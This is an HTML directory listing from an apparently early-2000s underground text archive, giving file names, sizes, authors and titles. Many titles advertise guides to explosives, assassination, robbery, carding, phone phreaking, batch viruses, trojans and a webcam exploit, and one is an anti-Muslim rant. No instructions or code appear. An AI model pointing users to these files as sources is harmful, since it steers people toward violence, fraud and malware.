<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="20thviruses.txt">20thviruses.txt</A> <tab to=T><TD> 22781<BR><TD> The 20th Century: Computer Virus History, by Paranoidxe (April 21, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="256sysclr.txt">256sysclr.txt</A> <tab to=T><TD> 2180<BR><TD> Adding 256 Colors to Systray, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="2kboot.txt">2kboot.txt</A> <tab to=T><TD> 2728<BR><TD> Replacing the Windows 2000 Boot Screen, by ParanoidXE (May 17, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="2killerhigh.txt">2killerhigh.txt</A> <tab to=T><TD> 3607<BR><TD> The New Jersey High, by Abstracted (November 28, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="2ktips.txt">2ktips.txt</A> <tab to=T><TD> 97168<BR><TD> Windows 2000 Tips and Tricks, by ParanoidXE (December 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="2waymir.txt">2waymir.txt</A> <tab to=T><TD> 5009<BR><TD> How to Make a Two-Way Mirror, by ZERO (October 14, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="3scams.txt">3scams.txt</A> <tab to=T><TD> 2639<BR><TD> 3 Cool Scams by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="508752.txt">508752.txt</A> <tab to=T><TD> 5356<BR><TD> The 508-852 Wardial Report, by NO CARRIER (December 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="5steplockp.txt">5steplockp.txt</A> <tab to=T><TD> 3401<BR><TD> A 5 Step Guide to Making Lock Picks with Household Items, by Steve R. (July 21, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="800326carrier.txt">800326carrier.txt</A> <tab to=T><TD> 6839<BR><TD> The 1-800-326-XXX Scan List, by NO CARRIER (March 26, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="80040100xx.txt">80040100xx.txt</A> <tab to=T><TD> 6003<BR><TD> A Scan of 800-401-00xx by Jenn (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="80055500xx.txt">80055500xx.txt</A> <tab to=T><TD> 6315<BR><TD> A Scan of 1-800-555-00XX by Jenn (1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="80055500xx2.txt">80055500xx2.txt</A> <tab to=T><TD> 6610<BR><TD> A Scan of 800-555-00xx by Jenn (June 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="919439scan.txt">919439scan.txt</A> <tab to=T><TD> 1988<BR><TD> A Scan of 919-493-99xx by Against Me! (January 17, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="98install.txt">98install.txt</A> <tab to=T><TD> 2956<BR><TD> A Windows 98 Installation Guide by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="9satan.txt">9satan.txt</A> <tab to=T><TD> 6179<BR><TD> The Nine Satanic Statements and Sins (May, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="9xtcpip.txt">9xtcpip.txt</A> <tab to=T><TD> 968<BR><TD> Reinstalling TCP/IP under Windows 95/98, by ParanoidXE (April 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ablabap.txt">ablabap.txt</A> <tab to=T><TD> 32190<BR><TD> A Broad Look at American and British Phreaking, by DUO_PROS (Happy McSmith) (February, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="abortion.txt">abortion.txt</A> <tab to=T><TD> 3814<BR><TD> A Few Random Thoughts on Abortion (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="acbhistory.txt">acbhistory.txt</A> <tab to=T><TD> 5339<BR><TD> The History of the Internet's Anarchist Cookbook, by Zero (November 18, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ad1100whack.txt">ad1100whack.txt</A> <tab to=T><TD> 11212<BR><TD> The Apex AD1100W Region/MV Hack, by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="aer.txt">aer.txt</A> <tab to=T><TD> 769<BR><TD> Fun With an Aerosol Can, Part 1 of Maybe 2, by Paco (April 2, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="airkaos.txt">airkaos.txt</A> <tab to=T><TD> 1744<BR><TD> How to Make Airplane Rides Fun, by Sheer Black (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="amazingmemories.txt">amazingmemories.txt</A> <tab to=T><TD> 5070<BR><TD> Amazing Memories, by Scott Morrow, from Maritime Computer Connections Magazine 9September, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ammo.txt">ammo.txt</A> <tab to=T><TD> 3417<BR><TD> How to Properly Care for Ammo in South Africa, by Adamantium (February, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anarchy.txt">anarchy.txt</A> <tab to=T><TD> 8560<BR><TD> Cola Presents: Fred the Elite Hacker Versus Ronald McDonald (March 6, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anarchytoday.txt">anarchytoday.txt</A> <tab to=T><TD> 1542<BR><TD> Anarchy of Today, by Pyromania (October 10, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anarchytruth.txt">anarchytruth.txt</A> <tab to=T><TD> 10188<BR><TD> The Truth of Being an Anarchist: What All Should Know, by Unknwon (February 6, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anarchyutopia.txt">anarchyutopia.txt</A> <tab to=T><TD> 6969<BR><TD> The Anarchist Utopia (May, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anitrate.txt">anitrate.txt</A> <tab to=T><TD> 982<BR><TD> Amonium Nitrate Noise Maker: by MaDDaX
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="anthrax.txt">anthrax.txt</A> <tab to=T><TD> 2601<BR><TD> Anthrax Information, by SamDaMan (October 11, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="antiantimuslim.txt">antiantimuslim.txt</A> <tab to=T><TD> 5848<BR><TD> Anti AntiMuslims, by Jez Hunter (Stable Eyes) (January 16, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="antimuslims.txt">antimuslims.txt</A> <tab to=T><TD> 5903<BR><TD> Message for Muslims, an Anti-Muslim Rant by Mantis (Stan Walker) (July 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="antimuslimsrebut.txt">antimuslimsrebut.txt</A> <tab to=T><TD> 2098<BR><TD> Rebuttal to Antimuslims.txt: We are Not, by Scrolllock (August 24, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="antipiracy.txt">antipiracy.txt</A> <tab to=T><TD> 9378<BR><TD> Anti-Piracy Fixed by Real Internet People, by Pyromania (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="apsara.txt">apsara.txt</A> <tab to=T><TD> 398506<BR><TD> Ouroboros: The Snake Eats Its Own Tail, or What Goes Around Comes Around, by Andy Thomas (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="article1.txt">article1.txt</A> <tab to=T><TD> 6046<BR><TD> How to Have Fun at Night (Anarchy Style) by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="article2.txt">article2.txt</A> <tab to=T><TD> 2295<BR><TD> How to Make Napalm, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="article3.txt">article3.txt</A> <tab to=T><TD> 2638<BR><TD> How to Make a CO2 Bomb, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="article4.txt">article4.txt</A> <tab to=T><TD> 1361<BR><TD> Stay Out of My Way! by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="article5.txt">article5.txt</A> <tab to=T><TD> 2049<BR><TD> Who the Hell is Shadow Wolf? By Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="assassinate.txt">assassinate.txt</A> <tab to=T><TD> 8214<BR><TD> The Handbook of Assassination v1.0 by Acidous (October 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="atschool.txt">atschool.txt</A> <tab to=T><TD> 4968<BR><TD> Just a Bit More Fun at School, by Avatar
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="autofirebomb.txt">autofirebomb.txt</A> <tab to=T><TD> 4576<BR><TD> Making an Autofire Bomb by Strych9 Milksheikh (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="autofirebomb2.txt">autofirebomb2.txt</A> <tab to=T><TD> 4878<BR><TD> The Revised Autofire Bomb, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="autopsy.txt">autopsy.txt</A> <tab to=T><TD> 45461<BR><TD> Autopy of Two Successful Intrusions, by Floydman (August 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="avoid.txt">avoid.txt</A> <tab to=T><TD> 3265<BR><TD> How to Avoid the Police in the UK, by TikTaq (April 4, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="avschoolfun.txt">avschoolfun.txt</A> <tab to=T><TD> 4938<BR><TD> The Avatar Presents: Just a Bit More Fun At School (September 21, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="badging.txt">badging.txt</A> <tab to=T><TD> 961<BR><TD> Car Badges, by The Phantom of Cars (February, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="balloon.txt">balloon.txt</A> <tab to=T><TD> 707<BR><TD> Making a Magic Balloon, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bannerhack.txt">bannerhack.txt</A> <tab to=T><TD> 384<BR><TD> Taking Banners Off of your Free Webpages, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="barcode.txt">barcode.txt</A> <tab to=T><TD> 2065<BR><TD> The Bar Code Scam, by Insane Killa (July 7, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="barcodes.txt">barcodes.txt</A> <tab to=T><TD> 7528<BR><TD> The Bar Codes, by Anonymous (Conspiracy) (March 10, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="basicviruses.txt">basicviruses.txt</A> <tab to=T><TD> 16388<BR><TD> The Basic Concepts of PC Viruses, by paranoidxe (April 22, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bassguitar.txt">bassguitar.txt</A> <tab to=T><TD> 4309<BR><TD> A Simple Guide for Learning to Play Bass Guitar or Regular Guitar, by Beigebox (December 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="batchprank.txt">batchprank.txt</A> <tab to=T><TD> 566<BR><TD> Batch File: The Batch Prank, by Cleptice (June 11, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="battleroyale.txt">battleroyale.txt</A> <tab to=T><TD> 137844<BR><TD> BATTLE ROYALE by Kenji Fukasaku: Translation of text from subtitles by Gregory Pietcsh (November, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="battleroyale2.txt">battleroyale2.txt</A> <tab to=T><TD> 144449<BR><TD> BATTLE ROYALE by Kenji Fukasaku: Translation of text from subtitles by Gregory Pietcsh (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="batviri.txt">batviri.txt</A> <tab to=T><TD> 4432<BR><TD> How to Make a Bat Virus by SKK66
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="batviri2.txt">batviri2.txt</A> <tab to=T><TD> 2554<BR><TD> A Batch File Virus for Windows 9X/2000/ME/XP, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bbgun.txt">bbgun.txt</A> <tab to=T><TD> 4594<BR><TD> A Homemade BBS Gun by Mearl Man (April, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bbmhak.txt">bbmhak.txt</A> <tab to=T><TD> 7173<BR><TD> The Big Book of Modern Mischief by Hakka (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bbsing.txt">bbsing.txt</A> <tab to=T><TD> 9480<BR><TD> The Lost Art of BBSing, by Mob Boss (April 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bbslist.txt">bbslist.txt</A> <tab to=T><TD> 1607<BR><TD> A Hacking/Phreaking BBS List, by Mob Boss (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bc-newsletter-1.txt">bc-newsletter-1.txt</A> <tab to=T><TD> 14408<BR><TD> BlackCode Ravers Mailing List Issue #1
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="beepdetonate.txt">beepdetonate.txt</A> <tab to=T><TD> 1497<BR><TD> The Beeper Detonator, by Acidous (October 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="beginners.txt">beginners.txt</A> <tab to=T><TD> 17022<BR><TD> Hacking Windows for the Complete Newbie, by SLIPStream (December, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="begphreaking.txt">begphreaking.txt</A> <tab to=T><TD> 15323<BR><TD> The Beginner's Guide to Phreaking, by Akurei (June 25, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="begtrojhak1.txt">begtrojhak1.txt</A> <tab to=T><TD> 7545<BR><TD> The Beginners' Guide to Trojan Hacking: Volume 1: Netbus by Weapon N (January 1, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="begtrojhak2.txt">begtrojhak2.txt</A> <tab to=T><TD> 8919<BR><TD> The Beginner's Guide to Trojan Hacking Volume 2: Back Orifice 2K, by Weapon N (January 17, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="begtrojhak3.txt">begtrojhak3.txt</A> <tab to=T><TD> 9146<BR><TD> The Beginner's Guide to Trojan Hacking: Volume 3: Extras, by Weapon N (August 8, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="beigebawx.txt">beigebawx.txt</A> <tab to=T><TD> 3933<BR><TD> Building a Beige Box (Simplified) by Akurei (August 11, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="beigeboxen.txt">beigeboxen.txt</A> <tab to=T><TD> 4348<BR><TD> The Beige Box, by N3cr0man3r (September, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="beinghacker.txt">beinghacker.txt</A> <tab to=T><TD> 46787<BR><TD> Hacker Being: On the Meaning of Being a Hacker, by Valerio "Elf Qrin" Capello (March 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bellvans.txt">bellvans.txt</A> <tab to=T><TD> 8497<BR><TD> Building Fake Bell Vans for Fun and Profit, by DialTone (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bergeron.txt">bergeron.txt</A> <tab to=T><TD> 13269<BR><TD> REPORT: Harrison Bergeron, by Kurt Vonnegut, Jr. by Spyhunter
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="betterfree_magz.txt">betterfree_magz.txt</A> <tab to=T><TD> 651<BR><TD> A Better Way to Get Free Magazines, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="betterfree_nps.txt">betterfree_nps.txt</A> <tab to=T><TD> 470<BR><TD> A Better Way to Get Free Newspapers, Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bibleshid.txt">bibleshid.txt</A> <tab to=T><TD> 6090<BR><TD> NGSAM Presents: Bible Shid, by Draxamus (January 14, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="billjk.txt">billjk.txt</A> <tab to=T><TD> 4140<BR><TD> The Mosquito that Bit Bill Gates, by Karthik (J.K.) (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bintutorial.txt">bintutorial.txt</A> <tab to=T><TD> 5838<BR><TD> A Binary Tutorial for Beginners, by David Carlton (July 19, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bl0w001.txt">bl0w001.txt</A> <tab to=T><TD> 6882<BR><TD> Basic Language for Oniric Warp Issue #1 by Gen0iced (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bl0w002.txt">bl0w002.txt</A> <tab to=T><TD> 4988<BR><TD> Bl0W Issue #2 by Gen0iced (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="black2.txt">black2.txt</A> <tab to=T><TD> 29538<BR><TD> BlackCode Ravers Magazine Issue #2
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="blackops.txt">blackops.txt</A> <tab to=T><TD> 17027<BR><TD> Black Ops, by MRDark, of The Militia (February, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bodspray.txt">bodspray.txt</A> <tab to=T><TD> 1049<BR><TD> Fun with Bod-Spray, by Da Phontom and BKJKHKER (June 8, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bong.txt">bong.txt</A> <tab to=T><TD> 1682<BR><TD> Making your Very Own Bong that you can Reuse, by Phish
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="booknotnamed.txt">booknotnamed.txt</A> <tab to=T><TD> 18398<BR><TD> The Book That Shall Not Be Named, by H. R. Puff 'n' Stuff (December, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bookofformulas.txt">bookofformulas.txt</A> <tab to=T><TD> 50586<BR><TD> The Ancient Book of Formulas, by Lewis De Claremont (Transcription of Public Domain Book) (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bootstrap.txt">bootstrap.txt</A> <tab to=T><TD> 36583<BR><TD> Better Homes and Bootstrapping 0.03b by ME-Tan (April-May, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bopse.txt">bopse.txt</A> <tab to=T><TD> 5067<BR><TD> The Birth of Phreaking, by Durandal of SoldierX.COM and the Legion of the Damned (May, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bordem.txt">bordem.txt</A> <tab to=T><TD> 3232<BR><TD> Ways to Erase Boredom from Your life, by MassExodus / Darksintext (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="boredom.faq">boredom.faq</A> <tab to=T><TD> 1880<BR><TD> The Boredom FAQ, by Cobalt (October 10, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="brobbery.txt">brobbery.txt</A> <tab to=T><TD> 3892<BR><TD> How to Commit a Bank Robbery, by Dope (January 2, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bt.txt">bt.txt</A> <tab to=T><TD> 1852<BR><TD> How to Write Batch Trojans (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bungee.box">bungee.box</A> <tab to=T><TD> 3127<BR><TD> The Bungee Box by Captain B (February 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="burn.txt">burn.txt</A> <tab to=T><TD> 2234<BR><TD> Burning a Hole in Space-Time: A Collection of Poetry from 6billionhosts (June, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="burnmovies.txt">burnmovies.txt</A> <tab to=T><TD> 1322<BR><TD> How to Burn Movies, from Acid Pool (February 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bushbases.txt">bushbases.txt</A> <tab to=T><TD> 7381<BR><TD> A Guide to Bush Bases, by Scrambling Vermin (August 20, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="busywats.txt">busywats.txt</A> <tab to=T><TD> 1856<BR><TD> Toll Free Busy Lines, by Pref1x (June 18, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="buyvrsdld.txt">buyvrsdld.txt</A> <tab to=T><TD> 4808<BR><TD> Ersatz Presents an essay discussing buying vs. downloading, by Ersatz (January 19, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="buzzbox.txt">buzzbox.txt</A> <tab to=T><TD> 1968<BR><TD> The Buzz Box, by Icey and Digit (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bypassv1.5.txt">bypassv1.5.txt</A> <tab to=T><TD> 9604<BR><TD> Bypassing The New EAS Anti-Shoplifting Devices v1.5, by Optica V (July 13, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cable.txt">cable.txt</A> <tab to=T><TD> 1566<BR><TD> An Easy Guide to Ripping Off Cable Companies by Pepsie of the Thieves (May 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="callerid.txt">callerid.txt</A> <tab to=T><TD> 13051<BR><TD> ANI and Caller ID, by Z09 (April 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cam-hack.txt">cam-hack.txt</A> <tab to=T><TD> 1586<BR><TD> Kiull a Cam Version 1.x Remote Get Buffer Overflow Vulnerability in CamShot WebCam HTTP by Lucid of Phreak2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="camp.txt">camp.txt</A> <tab to=T><TD> 5023<BR><TD> Some Phun While Camping, by The Enphorcer (February, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cannery_row.txt">cannery_row.txt</A> <tab to=T><TD> 3081<BR><TD> REPORT: Cannery Row, by John Steinbeck, by n3t (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="carding.txt">carding.txt</A> <tab to=T><TD> 2704<BR><TD> Obtaining Credit Card Numbers by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cartb.txt">cartb.txt</A> <tab to=T><TD> 1051<BR><TD> How to Break into a Car with a Tennis Ball by The Anarchist (March 1, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cat3scheme.txt">cat3scheme.txt</A> <tab to=T><TD> 3382<BR><TD> The Standard/Cat3 Color Scheme Conversion, by Captain B
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cc1freepizza.txt">cc1freepizza.txt</A> <tab to=T><TD> 7431<BR><TD> Classic Compilation #1: Getting Free Pizza, by DiZZIE (May 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cc2freemovies.txt">cc2freemovies.txt</A> <tab to=T><TD> 10740<BR><TD> Classic Compilation #2: Getting Free Movies (At the Theatre) by Dizzie (May 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cdwritin.txt">cdwritin.txt</A> <tab to=T><TD> 8854<BR><TD> How to Successfully Burn CD-Rs (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cdwritin2.txt">cdwritin2.txt</A> <tab to=T><TD> 10186<BR><TD> How to Successfully Burn CD-Rs (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="celltron.txt">celltron.txt</A> <tab to=T><TD> 5201<BR><TD> Free Cellular Phone Calls Without Cloning by TRON (January 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chasm.txt">chasm.txt</A> <tab to=T><TD> 911<BR><TD> The Chasm between The Hacker and the Public, by Enderfury (October 17, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chating.txt">chating.txt</A> <tab to=T><TD> 9453<BR><TD> How to Impress Chicks in a Chatroom v1.0 by Burnin' of UNKNOWN Prez (November 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cheapfc.txt">cheapfc.txt</A> <tab to=T><TD> 748<BR><TD> How to Make a Cheap High Powered Firecracker from a Marker, by p0x (July 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="check.txt">check.txt</A> <tab to=T><TD> 113133<BR><TD> STORY: Checkmate, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chemlife.txt">chemlife.txt</A> <tab to=T><TD> 8874<BR><TD> Leading a Better Life Through Chemistry (a subjective view of drugs) (October 28, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chepacid.drg">chepacid.drg</A> <tab to=T><TD> 583<BR><TD> How to Make Cheap Acid Out of Juicy Fruit, by Sk8trJoe (September, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chimi.txt">chimi.txt</A> <tab to=T><TD> 71180<BR><TD> The Chimi Changas, a Massive Epic from Edward Ansbro (Unknown)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cleanup.txt">cleanup.txt</A> <tab to=T><TD> 4298<BR><TD> In Depth Guide to Cleaning Your Internet Tracks by: Zero, aka: g-prime (March 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="click.txt">click.txt</A> <tab to=T><TD> 4991<BR><TD> Make your Own Very Simple Pick Guns by The Impactor
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="clouds.txt">clouds.txt</A> <tab to=T><TD> 2074<BR><TD> Poetry: Clouds, by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="co2pressure.txt">co2pressure.txt</A> <tab to=T><TD> 1400<BR><TD> The CO2 Pressure Bomb, by The Master (April, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="coke.txt">coke.txt</A> <tab to=T><TD> 727<BR><TD> Getting into a Coke Vending Machine (in Australia) by AdamL (January 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="comp_trojans.txt">comp_trojans.txt</A> <tab to=T><TD> 34780<BR><TD> The Complete Trojans Text (Security Related) by The Maniac (March 4, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="compsteal.txt">compsteal.txt</A> <tab to=T><TD> 1323<BR><TD> Stealing a Computer The Easy Way by Pepsi and Gringo Madrileno (July, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="comptroj.txt">comptroj.txt</A> <tab to=T><TD> 34712<BR><TD> The Complete Trojans Text, by The Maniac (April 3, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="conthephone.txt">conthephone.txt</A> <tab to=T><TD> 713<BR><TD> Con the Phone Company by The Root User (April 21, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="conversion.txt">conversion.txt</A> <tab to=T><TD> 4412<BR><TD> How to Make a Conversion Box, by Captain B (May 30, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="convmovie.txt">convmovie.txt</A> <tab to=T><TD> 1048<BR><TD> Converting Movie Files to Image Files by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="coup.txt">coup.txt</A> <tab to=T><TD> 5268<BR><TD> STORY: Coup, by Jonathan Locke (October, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cracker.txt">cracker.txt</A> <tab to=T><TD> 5792<BR><TD> A Guide to How to Become a Cracker and How to Survive in the Underground World, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="crazy.txt">crazy.txt</A> <tab to=T><TD> 4662<BR><TD> How to Make Someone Crazy (An Anarchy Guide) by The Maniac
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="creditobtain.txt">creditobtain.txt</A> <tab to=T><TD> 2686<BR><TD> Obtaining Credit Card Numbers by DIzzIE (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="csociety.txt">csociety.txt</A> <tab to=T><TD> 1877<BR><TD> What's good about a Cashless Society, by Benny Gooslin (January, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ctvfoil.txt">ctvfoil.txt</A> <tab to=T><TD> 1166<BR><TD> How to Get Cable TV with Foil! from TiME
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="cult.txt">cult.txt</A> <tab to=T><TD> 9107<BR><TD> What's a Cult? By Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="darkdom.txt">darkdom.txt</A> <tab to=T><TD> 1353<BR><TD> A Message to Textfile Writers from Mutant Man (The Dark Dominator) (June 13, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dataprotection.txt">dataprotection.txt</A> <tab to=T><TD> 3443<BR><TD> How to Hide Files in Windows by SKK66 (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dearsiia.txt">dearsiia.txt</A> <tab to=T><TD> 3013<BR><TD> Dear SIIA (Anti-Piracy Corporation) by Pyromania (March 30, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="deathsave.txt">deathsave.txt</A> <tab to=T><TD> 6989<BR><TD> An ASCII Illustrated Guide to the Art of the Deathsave, by Besideyou (October 21, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="defilter.txt">defilter.txt</A> <tab to=T><TD> 3690<BR><TD> How to Get Around Your School Filter, by JMZ (February 9, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="definiti.txt">definiti.txt</A> <tab to=T><TD> 9425<BR><TD> A Couple of Definitions of Computer Users, by Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="despair.txt">despair.txt</A> <tab to=T><TD> 3714<BR><TD> How Much My Life Sucks, by Anonymous Loozer (September 15, 2001)
